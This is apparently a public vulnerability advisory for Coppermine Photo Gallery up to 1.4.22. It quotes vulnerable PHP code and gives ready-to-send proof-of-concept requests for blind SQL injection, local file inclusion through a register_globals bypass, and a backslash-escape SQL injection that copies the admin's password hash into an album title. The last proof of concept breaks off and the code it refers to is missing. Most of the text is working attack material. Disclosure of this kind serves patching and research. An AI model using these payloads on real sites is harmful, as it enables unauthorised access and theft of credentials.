Author: girex Site: http://girex.altervista.org/ CMS: Coppermine Photo Gallery <= 1.4.22 Coppermine Foto Gallery suffers from different vulnerabilities. There is a Local File Inclusion and a Blind SQL Injection working with register_globals = On and magic_quotes_gpc = Off and a SQL Injection working in case of registration is enabled and a user can create/modify albums (default setting if registration is enabled) and php.ini regardless and a Blind SQL Injection when is enabled the ecard logging system (that is not a default configuration) and php.ini regardless Let's see how do they work... ------------------------------------------------------------------------------------------- Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion. I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this Proof of Concepts. Let's see the anti-register_globals protection and how to bypass it... File: /includes/init.inc.php - lines: 42-65 $keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger'); if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') { $register_globals_flag = true; } else { $register_globals_flag = false; } if (get_magic_quotes_gpc()) { if (is_array($_POST)) { foreach ($_POST as $key => $value) { if (!is_array($value)) $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key); } } if (is_array($_GET)) { foreach ($_GET as $key => $value) { unset($_GET[$key]); $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key); } } Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off This protection is easily bypassable defining GLOBALS vars via GET or via POST. Example: index.php?GLOBALS[dummy_example]=damn It defines the global var dummy_example. Let's see how to exploit it... File: ./thumbnails.php - lines: 79- if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort']; if (isset($_GET['cat'])) $cat = (int)$_GET['cat']; <== bypass the int cast if (isset($_GET['album'])) $album = $_GET['album']; ... if (is_numeric($album)) { ... } else { $album_set_array = array(); if ($cat == USER_GAL_CAT) $where = 'category > ' . FIRST_USER_CAT; else $where = "category = '$cat'"; $result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where"); <== Vulnerable query Here's a proof of concept: NOTE: - we need register_globals = on and magic_quotes_gpc = off [target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23 true [target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23 false ------------------------------------------------------------------------------------------- It's also possible to obtain a local file inclusion overwriting $USER array and in particular $USER['lang'] vars... File: /include/functions.inc.php - lines: 128-135 function user_get_profile() { global $CONFIG, $USER; if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) { $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data'])); $USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________'); <== we bypass it } if (!isset($USER['ID']) || strlen($USER['ID']) != 32) { list($usec, $sec) = explode(' ', microtime()); $seed = (float) $sec + ((float) $usec * 100000); srand($seed); $USER=array('ID' => md5(uniqid(rand(),1))); } else { $USER['ID'] = addslashes($USER['ID']); } if (!isset($USER['am'])) $USER['am'] = 1; } File: /includes/init.inc.php - lines: 318-346 if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php')) { $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________'); } elseif ($CONFIG['charset'] == 'utf-8') <== default configuration { include('include/select_lang.inc.php'); if (file_exists('lang/' . $USER['lang'] . '.php')) { $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language $CONFIG['lang'] = $USER['lang']; } } else { unset($USER['lang']); } if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang'])) { unset($CONFIG['default_lang']); } if (!file_exists("lang/{$CONFIG['lang']}.php")) $CONFIG['lang'] = 'english'; // We load the chosen language file require "lang/{$CONFIG['lang']}.php"; <== vulnerable include Here's a proof of concept: NOTE: - we need register_globals = on and magic_quotes_gpc = off GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1 Host: [host] Connection: close This will include README.txt, if register_globals=on magic_quotes_gpc=off and if User-Agent and Accept-Language headers are not set. (see code) ------------------------------------------------------------------------------------------- When registration are enabled and a user can create/modify albums with password is possible to obatain a blind sql injection php.ini regardless. File: ./db_input.php $event = isset($_POST['event']) ? $_POST['event'] : $_GET['event']; switch ($event) { ... case 'album_update': if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in $aid = (int)$_POST['aid']; $title = addslashes(trim($_POST['title'])); $category = (int)$_POST['category']; $description = addslashes(trim($_POST['description'])); $keyword = addslashes(trim($_POST['keyword'])); $thumb = (int)$_POST['thumb']; $visibility = (int)$_POST['visibility']; $uploads = $_POST['uploads'] == 'YES' ? 'YES' : 'NO'; $comments = $_POST['comments'] == 'YES' ? 'YES' : 'NO'; $votes = $_POST['votes'] == 'YES' ? 'YES' : 'NO'; $password = $_POST['alb_password']; <== this var is not addslashed $password_hint = addslashes(trim($_POST['alb_password_hint'])); $visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility; if (!$title) cpg_die(ERROR, $lang_db_input_php['alb_need_title'], __FILE__, __LINE__); if (GALLERY_ADMIN_MODE) { $query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', category='$category', thumb='$thumb', uploads='$uploads', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', alb_password_hint='$password_hint', keyword='$keyword' WHERE aid='$aid' LIMIT 1"; } else { $category = FIRST_USER_CAT + USER_ID; $query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', thumb='$thumb', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', <== vulnerable query alb_password_hint='$password_hint',keyword='$keyword' WHERE aid='$aid' AND category='$category' LIMIT 1"; } $update = cpg_db_query($query); $_POST['alb_password'] is not addslashed before being used in a query. You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php... File: /include/init.inc.php // Do some cleanup in GET, POST and cookie data and un-register global vars $HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => '''); ... $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST); ... $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST); ... $_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST); So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of $_POST['alb_password'] and execute SQL in $_POST['alb_password_hint'] parameter. Here's a Proof of Concept: NOTE: - registration must be enabled and an user must can create/modify albums - works regardless of php.ini settings - Log in with your user credential - Create an album with password - Do this request: POST /[path]/db_input.php HTTP/1.1 Host: [host] Keep-Alive: 300 Connection: keep-alive Cookie: [your_cookies] Content-Type: application/x-www-form-urlencoded event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23 You will set the admin's password (user with user_id=1) as the title of your album. ------------------------------------------------------------------------------------------- And we have also a Blind SQL Injection with a specific configuration of coppermine... File: ./displayecard.php - lines 26-38 if (!isset($_GET['data'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__); $data = array(); $data = @unserialize(@base64_decode($_GET['data'])); // attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match if ((!is_array($data)) && $CONFIG['log_ecards'] && (strlen($_GET['data']) > 12)) { $result = cpg_db_query("SELECT link FROM {$CONFIG['TABLE_ECARDS']} WHERE link LIKE '{$_GET['data']}%'"); if (mysql_num_rows($result) === 1) { $row = mysql_fetch_assoc($result); $data = @unserialize(@base64_decode($row['link'])); } } Here's a Proof of Concept: NOTE: - $CONFIG['log_ecards'] must be set to 1 (and this is NOT a default config) - works regardless of php.ini settings Make an injection with this php code: Then: GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1 girex